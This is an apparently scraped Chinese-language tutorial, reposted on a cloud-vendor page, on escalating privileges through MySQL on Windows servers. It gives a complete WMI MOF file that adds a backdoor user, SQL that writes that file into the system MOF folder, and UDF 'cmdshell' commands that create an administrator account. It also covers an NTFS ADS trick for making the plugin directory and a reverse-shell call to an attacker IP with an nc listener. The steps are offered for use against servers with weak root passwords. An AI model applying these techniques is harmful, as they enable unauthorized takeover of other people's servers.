mysql提權總結

來源:互聯網
上載者:User

標籤:函數   位置   second   pre   cmdshell   SQ   wait   user   txt   

一、mof提權

  windows管理規範提供了以下三種方法編譯到WMI存放庫的管理物件格式(MOF)檔案:

  1、運行MOF檔案指定為命令列參數講Mofcomp.exe檔案。

  2、使用IMofCompiler介面和$CompileFile方法。

  3、拖放到%SystemRoot%\System32\Wbem\MOF檔案夾的MOF檔案。

  Micrsoft建議您到存放庫編譯MOF檔案使用前兩種方法。也就是運行Mofcomp.exe檔案或使用IMofCompiler:CompileFile方法。

  第三種方法僅為後相容性與早期版本的WMI提供,並因為此功能可能不會提供在將來的版本。

  具體到mysql提權中,我們該怎麼利用?

  1、找一個可寫目錄上傳mof檔案,這裡我們上傳到了C:/wmpub/nullevt.mof,代碼如下:

   其中第18行,上傳前請自己更改。

 1 #pragma namespace("\\\\.\\root\\subscription") 2  3 instance of __EventFilter as $EventFilter 4 { 5     EventNamespace = "Root\\Cimv2"; 6     Name  = "filtP2"; 7     Query = "Select * From __InstanceModificationEvent " 8             "Where TargetInstance Isa \"Win32_LocalTime\" " 9             "And TargetInstance.Second = 5";10     QueryLanguage = "WQL";11 };12 13 instance of ActiveScriptEventConsumer as $Consumer14 {15     Name = "consPCSV2";16     ScriptingEngine = "JScript";17     ScriptText =18     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";19 };20 21 instance of __FilterToConsumerBinding22 {23     Consumer   = $Consumer;24     Filter = $EventFilter;25 };

 

  2、執行load_file及into dumpfile把檔案匯出到正確的位置即可。

   1 select load_file(‘C:/wmpub/nullevt.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof‘ 

  執行成功後,即可添加一個普通使用者,然後可以更改命令,再上傳匯出執行把使用者提升到管理員權限,然後3389串連就可以了。

二、利用UDF提權

  udf提權也是最常見的提權方式。但是往往再執行過程中老是遇到"Can‘t open shared library"的情況,這裡可以利用NTFS ADS流來解決這個問題。

  1、最常見的是直接使用udf.php此類的工具來執行udf提權。

  串連mysql以後,先匯出udf.dll到c:\windows\system32目錄下。

  2、建立相應的函數並執行命令,具體如下:

1 create function cmdshell returns string soname ‘udf.dll‘;2 select cmdshell(‘net user waitalone waitalone.cn /add‘);3 select cmdshell(‘net localgroup administrators waitalone /add‘);4 drop function cmdshell; 刪除函數5 delete from mysql.func where name=‘cmdshell‘  刪除函數

   3、某些情況下,我們會遇到Can‘t open shared library的情況,這時就需要我們把udf.dll匯出到lib\plugin目錄下才可以,但是默默情況下

  plugin不存在,怎麼辦?還好有大牛研究出利用NTFS ADS流來建立檔案夾的方法:

select @@basedir;   //尋找到mysql的目錄select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION‘;   //利用NTFS ADS建立lib目錄select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘;//利用NTFS ADS建立plugin目錄

  執行成功以後再進行匯出即可。

 

三、反彈連接埠串連提權

  假設我們掃到一個mysql的root弱密碼,並且可以外連,但是伺服器上面的網站又無法getshell,這時我們怎麼辦?

  1、利用mysql用戶端工具串連mysql伺服器,然後執行下面的操作。(mysql.txt暫時沒有)

mysql.exe -h 172.16.10.11 -uroot -pEnter password:mysql> \. c:\mysql.txtmysql>select backshell("YourIP",2010);

  2、本地監聽你反彈的連接埠

  nc.exe -vv -l -p 2010

  成功後,你將獲得一個system許可權的cmdshell,其實這個也是利用UFDF提權。

 

mysql提權總結

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.